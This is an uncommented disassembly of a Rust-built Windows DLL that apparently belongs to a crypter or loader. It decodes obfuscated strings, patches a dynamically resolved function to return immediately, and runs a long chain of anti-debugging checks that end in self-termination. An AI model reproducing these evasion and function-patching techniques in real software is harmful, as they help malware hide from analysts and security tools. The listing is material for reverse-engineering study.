cmp byte [esp + 8], 0
jne 0x100046f4
mov eax, dword [esp + 0xb0]
cmp eax, 0x80000000
je 0x100046f4
test eax, eax
je 0x100046f4
push 1
push eax
push dword [esp + 0xbc]
call sym.___rust_dealloc
add esp, 0xc
jmp 0x1000502c
jmp 0x1000502c
mov eax, dword [esp + 4]
test eax, eax
je 0x1000470d
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
lea eax, [esp + 0x400]
push eax
call sym.sysinfo::common::system::System::refresh_cpu_all::hbec726ffbb2b378c
add esp, 4
mov edx, dword [esp + 0x408]
mov ecx, dword [esp + 0x404]
lea esi, [esp + 0xe0]
shl edx, 6
nop word cs:[eax + eax]
nop
test edx, edx
je 0x10004a5c
mov eax, dword [ecx + 0x34]
mov dword [esp + 0x24], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 4], eax
mov eax, dword [ecx + 0x38]
mov dword [esp + 0xc], eax
lea eax, [0x1011d4a5]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xeb975bec
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::haa4f876ea4e85f2b
add esp, 8
mov esi, dword [eax]
mov ecx, 0x59911d9e
mov ebx, dword [eax + 4]
xor esi, ecx
mov ecx, dword [eax + 8]
mov dword [esp + 0x1c], ecx
mov ecx, dword [eax + 0xc]
mov dword [esp + 0x18], ecx
mov edi, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov ecx, dword [eax + 0x18]
mov eax, dword [eax + 0x1c]
mov dword [esp + 0xe0], esi
mov esi, 0x3e7ef16f
xor ebx, esi
mov esi, 0xea3f4986
mov dword [esp + 0xe4], ebx
mov ebx, dword [esp + 0x1c]
xor ebx, esi
mov esi, 0x62fe8821
mov dword [esp + 0xe8], ebx
mov ebx, dword [esp + 0x18]
xor ebx, esi
mov esi, 0xcca4ca5c
xor edi, esi
mov esi, 0xe80375cb
mov dword [esp + 0xec], ebx
xor edx, esi
mov dword [esp + 0xf0], edi
lea esi, [esp + 0xe0]
mov dword [esp + 0xf4], edx
mov edx, 0x51f08456
xor ecx, edx
mov dword [esp + 0xf8], ecx
mov ecx, 0x6e36f98b
xor eax, ecx
mov dword [esp + 0xfc], eax
mov edx, 0x20
mov ecx, esi
push dword [esp + 0xc]
push dword [esp + 8]
call fcn.100018e0
add esp, 8
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
add ecx, 0x40
add edx, 0xffffffc0
test al, al
je 0x10004740
lea eax, [0x10117beb]
mov dword [esp + 0x3c8], 0x80000001
lea ecx, [esp + 0x70]
mov dword [esp + 0x70], eax
lea eax, [esp + 0x70]
mov eax, dword [esp + 0x70]
mov dword [esp + 0x70], 0xe29d8edc
push dword [esp + 0x70]
push eax
call sym.obfstr::xref::inner::h207e671c71f21010
add esp, 8
mov ecx, 0x45c1c17d
mov edx, 0xc025aeca
mov esi, 0xca6652b4
mov edi, 0x62a872c
mov ebx, 0x8f2aa52b
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
movzx eax, byte [eax + 0x14]
xor al, 0x6c
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], esi
mov dword [esp + 0xec], edi
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xf4], al
lea edi, [esp + 0x3c8]
lea eax, [esp + 0x38]
push 0x20019
push 0x15
lea ecx, [esp + 0xe8]
push ecx
push edi
push eax
call sym.winreg::reg_key::RegKey::open_subkey_with_flags::h590ba46a75479623
add esp, 0x14
movzx eax, byte [esp + 0x38]
cmp al, 4
jne 0x10004a12
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0xd4]
mov dword [esp + 0x3f4], eax
lea eax, [0x1011dc96]
mov dword [esp + 0xd4], eax
lea eax, [esp + 0xd4]
mov eax, dword [esp + 0xd4]
mov dword [esp + 0xd4], 0xa18fe16b
push dword [esp + 0xd4]
push eax
call sym.obfstr::xref::inner::h501d20202ac5c3c5
add esp, 8
mov ecx, 0xe58cc959
mov edx, 0xe85d364a
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
mov dword [esp + 0x3d4], ecx
mov dword [esp + 0x3d8], edx
mov byte [esp + 0x3dc], al
lea ebx, [esp + 0x3d4]
lea esi, [esp + 0x3f4]
push 9
push ebx
push esi
lea eax, [esp + 0x7c]
push eax
call sym.winreg::reg_key::RegKey::get_value::h701fe5ca0f3474ec
add esp, 0x10
mov eax, dword [esp + 0x70]
cmp eax, 0x80000000
mov dword [esp + 0x28], eax
jne 0x10005040
cmp byte [esp + 0x74], 3
jne 0x10004a07
mov eax, dword [esp + 0x78]
mov ebx, dword [eax + 4]
mov ecx, dword [eax]
mov dword [esp + 0xc], eax
mov eax, dword [ebx]
mov dword [esp + 4], ecx
test eax, eax
je 0x100049df
push dword [esp + 4]
call eax
add esp, 4
mov eax, dword [ebx + 4]
mov ecx, dword [esp + 4]
test eax, eax
je 0x100049f7
push dword [ebx + 8]
push eax
push ecx
call sym.___rust_dealloc
add esp, 0xc
push 4
push 0xc
push dword [esp + 0x14]
call sym.___rust_dealloc
add esp, 0xc
push esi
call sym.__LT_winreg..reg_key..RegKey_u20_as_u20_core..ops..drop..Drop_GT_::drop::h433c92d39d785a4a
add esp, 4
jmp 0x10004a53
cmp al, 3
jne 0x10004a53
mov esi, dword [esp + 0x3c]
mov edi, dword [esi + 4]
mov ebx, dword [esi]
mov eax, dword [edi]
test eax, eax
je 0x10004a2b
push ebx
call eax
add esp, 4
mov eax, dword [edi + 4]
test eax, eax
je 0x10004a3f
push dword [edi + 8]
push eax
push ebx
call sym.___rust_dealloc
add esp, 0xc
push 4
push 0xc
push esi
call sym.___rust_dealloc
add esp, 0xc
lea edi, [esp + 0x3c8]
push edi
call sym.__LT_winreg..reg_key..RegKey_u20_as_u20_core..ops..drop..Drop_GT_::drop::h433c92d39d785a4a
add esp, 4
lea eax, [0x1011287e]
lea edi, [esp + 0xe0]
mov dword [esp + 0xe0], eax
lea eax, [esp + 0xe0]
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x34f67a1d
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h51ad1672d3e834be
add esp, 8
mov ecx, 0xb2befb98
mov edx, 0xd47462be
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, word [eax + 8]
xor al, 0x4f
xor ah, 0x5b
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], edx
mov byte [esp + 0xe8], al
mov byte [esp + 0xe9], ah
push edi
call sub.kernel32.dll_GetModuleHandleA
test eax, eax
je 0x10004bb0
mov esi, eax
lea eax, [0x1011af4c]
lea ecx, [esp + 0xe0]
mov dword [esp + 0xe0], eax
lea eax, [esp + 0xe0]
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x35dc7b13
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hbe0ad7d50bd59b20
add esp, 8
mov ecx, 0x298c71dd
mov ebx, edi
mov edx, 0x5147c2c6
mov edi, 0x8af59f69
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor edi, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0x45
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], edi
xor ah, 0xdf
mov edi, ebx
mov byte [esp + 0xec], al
mov byte [esp + 0xed], ah
lea ebx, [esp + 0xe0]
push ebx
push esi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x10004bb0
mov esi, eax
mov dword [esp + 0xe0], 0
push ebx
push 0x40
push 1
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x10004b94
mov byte [esi], 0xc3
jmp 0x10004bb0
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004bb0
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
call sub.kernel32.dll_IsDebuggerPresent
test eax, eax
je 0x10004bd5
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004bd5
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
mov dword [esp + 0xe0], 0
call sub.kernel32.dll_GetCurrentProcess
push edi
push eax
call sub.kernel32.dll_CheckRemoteDebuggerPresent
test eax, eax
je 0x10004c16
cmp dword [esp + 0xe0], 0
je 0x10004c16
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004c16
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
lea eax, [esp + 0xe4]
push 0x2c8
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [esp + 0xe0], 0x10010
call sub.kernel32.dll_GetCurrentThread
push edi
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x10004c7d
movdqu xmm0, xmmword [esp + 0xe4]
pxor xmm1, xmm1
pcmpeqd xmm1, xmm0
movmskps eax, xmm1
xor eax, 0xf
je 0x10004c7d
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004c7d
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
test byte [0x7ffe02d4], 3
je 0x10004ca2
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004ca2
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
mov word [esp + 0xe0], 0
push 0
push 2
push edi
push 0x23
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
jne 0x10004cec
cmp byte [esp + 0xe0], 0
je 0x10004cec
cmp byte [esp + 0xe1], 0
jne 0x10004cec
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004cec
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
and eax, 0x70
mov eax, eax
test eax, eax
je 0x10004d1c
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004d1c
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 2]
and eax, 0xff
mov eax, eax
test eax, eax
je 0x10004d4e
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004d4e
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
lea eax, [0x1011d3ef]
lea esi, [esp + 0xe0]
mov dword [esp + 0xe0], eax
lea eax, [esp + 0xe0]
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x7d944d9d
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hc278779fa53dd02d
add esp, 8
mov ecx, 0x5225c649
mov edx, 0xb77ef4df
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
xor al, 0x8d
mov dword [esp + 0x3d4], ecx
mov dword [esp + 0x3d8], edx
mov byte [esp + 0x3dc], al
lea eax, [esp + 0x70]
lea ecx, [esp + 0x3d4]
push 9
push ecx
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [esp + 0x70], 0x80000000
jne 0x100056ce
mov edi, dword [esp + 0x74]
mov ebx, dword [esp + 0x78]
push edi
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test ebx, ebx
mov byte [edi], 0
je 0x10004dfd
push 1
push ebx
push edi
call sym.___rust_dealloc
add esp, 0xc
test esi, esi
je 0x10004f6c
lea eax, [0x10112ff0]
mov dword [esp + 4], esi
lea ecx, [esp + 0xe0]
mov dword [esp + 0xe0], eax
lea eax, [esp + 0xe0]
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x8cfca5f1
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hcc6c89e895441767
add esp, 8
mov ecx, 0x55cd5b2e
mov edi, 0x7cbc7233
mov ebx, 0xadb7028e
mov esi, 0xf13a6bdd
xor ecx, dword [eax]
mov dword [esp + 0xc], ecx
mov ecx, 0x2bb46b3a
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0x34732a5d
xor edi, dword [eax + 8]
xor ebx, dword [eax + 0xc]
xor esi, dword [eax + 0x10]
xor ecx, dword [eax + 0x14]
movzx eax, byte [eax + 0x18]
mov edx, dword [esp + 0xc]
mov dword [esp + 0xe0], edx
mov edx, dword [esp + 0x10]
xor al, 0xe1
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], edi
mov dword [esp + 0xec], ebx
mov dword [esp + 0xf0], esi
mov dword [esp + 0xf4], ecx
mov byte [esp + 0xf8], al
push 0x19
lea eax, [esp + 0xe4]
push eax
lea eax, [esp + 0x3dc]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
cmp dword [esp + 0x3d4], 0x80000000
mov eax, dword [esp + 4]
jne 0x10005708
mov edi, dword [esp + 0x3d8]
mov ebx, dword [esp + 0x3dc]
push edi
push eax
call sub.kernel32.dll_GetProcAddress
mov esi, eax
test ebx, ebx
mov byte [edi], 0
je 0x10004f15
push 1
push ebx
push edi
call sym.___rust_dealloc
add esp, 0xc
test esi, esi
je 0x10004f6c
mov dword [esp + 0x70], 0
mov dword [esp + 0xe0], 0
call sub.kernel32.dll_GetCurrentProcess
lea ecx, [esp + 0xe0]
push ecx
push 4
lea ecx, [esp + 0x78]
push ecx
push 7
push eax
call esi
test eax, eax
jne 0x10004f6c
cmp dword [esp + 0x70], 0xffffffff
jne 0x10004f6c
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004f6c
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
lea eax, [esp + 0xc0]
push eax
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h79b7621cee824ab0
add esp, 4
mov eax, dword [esp + 0xc0]
test eax, eax
je 0x10004f9c
imul eax, eax, 0x58
push 8
push eax
push dword [esp + 0xcc]
call sym.___rust_dealloc
add esp, 0xc
lea ecx, [esp + 0x400]
call sym.core::ptr::drop_in_place_LT_sysinfo..common..system..System_GT_::h4f8961459c8b4276
push dword [esp + 0x3c0]
call sub.kernel32.dll_CloseHandle
mov eax, dword [esp + 0x3b8]
lock dec dword [eax]
jne 0x10004fd0
lea eax, [esp + 0x3b8]
push eax
call sym.alloc::sync::Arc_LT_T_C_A_GT_::drop_slow::heb45888b301ad513
add esp, 4
mov eax, dword [esp + 0x3bc]
lock dec dword [eax]
jne 0x10004fec
lea eax, [esp + 0x3bc]
push eax
call sym.alloc::sync::Arc_LT_T_C_A_GT_::drop_slow::hfc15f1033fca8aa7
add esp, 4
cmp byte [esp + 0x20], 0
jne 0x10005005
push 1
push dword [esp + 0x18]
push dword [esp + 0x34]
call sym.___rust_dealloc
add esp, 0xc
cmp byte [esp + 8], 0
jne 0x1000502c
mov eax, dword [esp + 0xb0]
test eax, 0x7fffffff
je 0x1000502c
push 1
push eax
push dword [esp + 0xbc]
call sym.___rust_dealloc
add esp, 0xc
lea ecx, [esp + 0x4a0]
call sym.core::ptr::drop_in_place_LT_sysinfo..common..system..System_GT_::h4f8961459c8b4276
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x74]
mov edi, dword [esp + 0x78]
mov dword [esp + 0x34], eax
push esi
call sym.__LT_winreg..reg_key..RegKey_u20_as_u20_core..ops..drop..Drop_GT_::drop::h433c92d39d785a4a
add esp, 4
lea eax, [esp + 0x3c8]
push eax
call sym.__LT_winreg..reg_key..RegKey_u20_as_u20_core..ops..drop..Drop_GT_::drop::h433c92d39d785a4a
add esp, 4
mov esi, dword [esp + 0x28]
push edi
push dword [esp + 0x38]
push ebx
call sym.std::fs::read::inner::hb3f551a5050347ef
add esp, 0xc
mov eax, dword [esp + 0x3d4]
cmp eax, 0x80000000
jne 0x100050e8
cmp byte [esp + 0x3d8], 3
jne 0x100050cc
mov esi, dword [esp + 0x3dc]
mov ebx, dword [esi + 4]
mov edi, dword [esi]
mov eax, dword [ebx]
test eax, eax
je 0x100050a7
push edi
call eax
add esp, 4
mov eax, dword [ebx + 4]
test eax, eax
je 0x100050bb
push dword [ebx + 8]
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
push 4
push 0xc
push esi
call sym.___rust_dealloc
add esp, 0xc
mov esi, dword [esp + 0x28]
test esi, esi
je 0x10004a5c
push 1
push esi
push dword [esp + 0x3c]
call sym.___rust_dealloc
add esp, 0xc
jmp 0x10004a5c
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x3d8]
lea ecx, [esp + 0xe0]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x3dc]
mov dword [esp + 4], eax
lea eax, [0x101133f3]
mov dword [esp + 0xe0], eax
lea eax, [esp + 0xe0]
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0xa2b076a3
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::h535ee1e976597f08
add esp, 8
mov esi, dword [eax]
mov ebx, dword [eax + 4]
mov edi, dword [eax + 8]
mov ecx, dword [eax + 0xc]
mov dword [esp + 0x490], ecx
mov ecx, dword [eax + 0x10]
mov dword [esp + 0x4c], ecx
mov ecx, dword [eax + 0x14]
mov dword [esp + 0x50], ecx
mov ecx, dword [eax + 0x18]
mov dword [esp + 0x54], ecx
mov ecx, dword [eax + 0x1c]
mov dword [esp + 0x58], ecx
mov ecx, dword [eax + 0x20]
mov dword [esp + 0x5c], ecx
mov ecx, dword [eax + 0x24]
mov dword [esp + 0x60], ecx
mov ecx, dword [eax + 0x28]
mov dword [esp + 0x64], ecx
mov ecx, dword [eax + 0x2c]
mov dword [esp + 0x68], ecx
mov ecx, dword [eax + 0x30]
mov dword [esp + 0x1c], ecx
mov ecx, dword [eax + 0x34]
mov dword [esp + 0x24], ecx
mov ecx, dword [eax + 0x38]
mov dword [esp + 0x10], ecx
mov eax, dword [eax + 0x3c]
mov dword [esp + 0xc], eax
mov eax, dword [0x101918ac]
movzx eax, byte [eax]
push 1
push 0x40
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x1000576b
mov ecx, dword [esp + 0x490]
xor esi, 0x6fe71847
xor ebx, 0x11187830
xor edi, 0xddd090df
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 1
mov dword [esp + 0x78], 0
mov dword [eax], esi
mov dword [eax + 4], ebx
mov dword [eax + 8], edi
xor ecx, 0x36a9f07a
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x4c]
xor ecx, 0x1c703109
mov dword [eax + 0x10], ecx
mov ecx, dword [esp + 0x50]
xor ecx, 0x50729801
mov dword [eax + 0x14], ecx
mov ecx, dword [esp + 0x54]
xor ecx, 0x6d258eb8
mov dword [eax + 0x18], ecx
mov ecx, dword [esp + 0x58]
xor ecx, 0x42aef8e1
mov dword [eax + 0x1c], ecx
mov ecx, dword [esp + 0x5c]
xor ecx, 0x2be05138
mov dword [eax + 0x20], ecx
mov ecx, dword [esp + 0x60]
xor ecx, 0x192f7abb
mov dword [eax + 0x24], ecx
mov ecx, dword [esp + 0x64]
xor ecx, 0x39745167
mov dword [eax + 0x28], ecx
mov ecx, dword [esp + 0x68]
xor ecx, 0xd845f1ab
mov dword [eax + 0x2c], ecx
mov ecx, dword [esp + 0x1c]
xor ecx, 0xa864f0f3
mov dword [eax + 0x30], ecx
mov ecx, dword [esp + 0x24]
xor ecx, 0xf92bf20e
mov dword [eax + 0x34], ecx
mov ecx, dword [esp + 0x10]
xor ecx, 0x6a2446db
mov dword [eax + 0x38], ecx
mov ecx, dword [esp + 0xc]
xor ecx, 0xbd15a324
mov dword [eax + 0x3c], ecx
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x10005414
mov edi, dword [esp + 0x6c]
xor ebx, ebx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], eax
jmp 0x100052dc
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 0x24]
mov ecx, dword [esp + 4]
mov ebx, esi
add edi, eax
sub ecx, eax
mov eax, dword [esp + 0x18]
je 0x10005402
mov dword [esp + 0x38], 0
cmp ecx, 3
mov esi, 3
mov dword [esp + 4], ecx
movzx edx, byte [edi]
cmovb esi, ecx
mov dword [esp + 0xc], esi
shl edx, 0x10
cmp esi, 1
je 0x1000531d
cmp esi, 2
jne 0x10005310
movzx ecx, byte [edi + 1]
shl ecx, 8
jmp 0x1000531b
movzx ecx, word [edi + 1]
rol cx, 8
movzx ecx, cx
or edx, ecx
mov ecx, edx
mov esi, dword [esp + 4]
shr ecx, 0x12
movzx ecx, byte [eax + ecx]
mov byte [esp + 0x38], cl
mov ecx, edx
shr ecx, 0xc
and ecx, 0x3f
cmp esi, 1
movzx ecx, byte [eax + ecx]
mov byte [esp + 0x39], cl
jne 0x1000534c
mov byte [esp + 0x3a], 0x3d
mov cl, 0x3d
jmp 0x1000536a
mov ecx, edx
shr ecx, 6
and ecx, 0x3f
cmp esi, 2
movzx ecx, byte [eax + ecx]
mov byte [esp + 0x3a], cl
mov cl, 0x3d
jbe 0x1000536a
and edx, 0x3f
movzx ecx, byte [eax + edx]
mov byte [esp + 0x3b], cl
push 4
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0xe8]
push eax
call sym.alloc::string::String::from_utf8_lossy::h9a8f1a36ad8c7b98
add esp, 0xc
mov ecx, dword [esp + 0x70]
mov esi, dword [esp + 0xe8]
mov eax, dword [esp + 0xe4]
mov dword [esp + 0x24], edi
sub ecx, ebx
mov dword [esp + 0x10], eax
cmp ecx, esi
jae 0x100053be
push esi
push ebx
lea eax, [esp + 0x78]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve::do_reserve_and_handle::h191687c3178d683b
add esp, 0xc
mov eax, dword [esp + 0x74]
mov ebx, dword [esp + 0x78]
jmp 0x100053c2
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
add ebx, eax
push esi
mov edi, dword [esp + 0x14]
push edi
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xe0]
add esi, dword [esp + 0x78]
test eax, 0x7fffffff
mov dword [esp + 0x78], esi
je 0x100052c0
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
jmp 0x100052c0
mov ecx, dword [esp + 0x70]
mov edx, dword [esp + 0x74]
mov dword [esp + 0xc], ecx
mov dword [esp + 4], edx
jmp 0x10005426
mov dword [esp + 0xc], 0
mov dword [esp + 4], 1
xor esi, esi
mov dword [esp + 0x10], esi
push 1
push 0x40
push eax
call sym.___rust_dealloc
add esp, 0xc
lea eax, [0x10119323]
lea ecx, [esp + 0xe0]
mov dword [esp + 0xe0], eax
lea eax, [esp + 0xe0]
mov eax, dword [esp + 0xe0]
mov dword [esp + 0xe0], 0x93c48842
push dword [esp + 0xe0]
push eax
call sym.obfstr::xref::inner::hf4299be988871095
add esp, 8
mov ecx, 0x2a6fe484
mov ebx, 0x5280f4d4
mov edi, 0xcf5009f9
mov esi, 0x386970e
mov edx, 0xfd80c81d
xor ecx, dword [eax]
mov dword [esp + 0x24], ecx
mov ecx, 0x91ef09b
xor ecx, dword [eax + 4]
mov dword [esp + 0x1c], ecx
mov ecx, 0x36b298bd
xor ecx, dword [eax + 8]
mov dword [esp + 0x18], ecx
mov ecx, 0xd104478f
xor ecx, dword [eax + 0xc]
mov dword [esp + 0x68], ecx
mov ecx, 0x6744e5d5
xor ecx, dword [eax + 0x10]
mov dword [esp + 0x64], ecx
mov ecx, 0x84393d6a
xor ecx, dword [eax + 0x14]
mov dword [esp + 0x60], ecx
mov ecx, 0xd111b8a0
xor ecx, dword [eax + 0x18]
mov dword [esp + 0x5c], ecx
mov ecx, 0x26bcbfe2
xor ecx, dword [eax + 0x1c]
mov dword [esp + 0x58], ecx
mov ecx, 0x99544f02
xor ecx, dword [eax + 0x20]
mov dword [esp + 0x54], ecx
mov ecx, 0x634ec58
xor ecx, dword [eax + 0x24]
mov dword [esp + 0x50], ecx
mov ecx, 0xec4b9167
xor ecx, dword [eax + 0x28]
mov dword [esp + 0x4c], ecx
mov ecx, 0x74e051dc
xor ebx, dword [eax + 0x2c]
xor edi, dword [eax + 0x30]
xor esi, dword [eax + 0x34]
xor edx, dword [eax + 0x38]
xor ecx, dword [eax + 0x3c]
mov eax, dword [esp + 0x24]
cmp dword [esp + 0x10], 0x40
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0xe8], eax
mov eax, dword [esp + 0x68]
mov dword [esp + 0xec], eax
mov eax, dword [esp + 0x64]
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0xf4], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 0xf8], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0xfc], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x108], eax
mov dword [esp + 0x10c], ebx
mov dword [esp + 0x110], edi
mov dword [esp + 0x114], esi
mov dword [esp + 0x118], edx
mov dword [esp + 0x11c], ecx
jae 0x100055c6
xor ebx, ebx
jmp 0x100055e1
push 0x40
push dword [esp + 8]
lea eax, [esp + 0xe8]
push eax
call sub.msvcrt.dll_memcmp
add esp, 0xc
test eax, eax
sete bl
mov eax, dword [esp + 0xc]
mov esi, dword [esp + 0x28]
mov edi, dword [esp + 0x48]
test eax, eax
je 0x10005600
push 1
push eax
push dword [esp + 0xc]
call sym.___rust_dealloc
add esp, 0xc
test edi, edi
je 0x10005613
push 1
push edi
push dword [esp + 0x74]
call sym.___rust_dealloc
add esp, 0xc
test esi, esi
je 0x10005626
push 1
push esi
push dword [esp + 0x3c]
call sym.___rust_dealloc
add esp, 0xc
test bl, bl
je 0x10004a5c
call sub.kernel32.dll_GetCurrentProcessId
push eax
call sub.kernel32.dll_DebugActiveProcess
test eax, eax
je 0x10004a5c
call sub.kernel32.dll_GetCurrentProcess
push 1
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x10004a5c
call sym.crypt_file::proc_sens::trigger_crash::h9ea1077cce1b9e85
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x1000469f
jmp 0x100046ab
mov eax, 1
mov edi, esi
jmp 0x10005674
xor eax, eax
push edi
push eax
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
jmp 0x10005777
mov eax, 1
mov ebx, edi
jmp 0x1000568e
xor eax, eax
push ebx
push eax
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
jmp 0x10005777
movq xmm0, qword [esp + 0x404]
movq qword [esp + 0xe0], xmm0
push 0x1011e204
push 0x1011e0f0
push esi
push 0x16
push str.failed_to_spawn_thread_rustc_eeb90cda1969383f56a2637cbd3037bdf598841clibrary_std_src_threadmod.rs
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10005777
movq xmm0, qword [esp + 0x70]
movq xmm1, qword [esp + 0x78]
movq qword [esp + 0xe8], xmm1
movq qword [esp + 0xe0], xmm0
push 0x1011e224
push 0x1011e12c
push esi
push 0x2b
push 0x1011e100
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10005777
movq xmm0, qword [esp + 0x3d4]
movq xmm1, qword [esp + 0x3dc]
movq qword [esp + 0x78], xmm1
movq qword [esp + 0x70], xmm0
push 0x1011e234
push 0x1011e12c
lea eax, [esp + 0x78]
push eax
push 0x2b
push 0x1011e100
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10005777
xor eax, eax
jmp 0x1000574f
mov eax, 1
push dword [esp + 0x14]
push eax
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
jmp 0x10005777
push ebx
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
jmp 0x10005777
push 0x40
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
ud2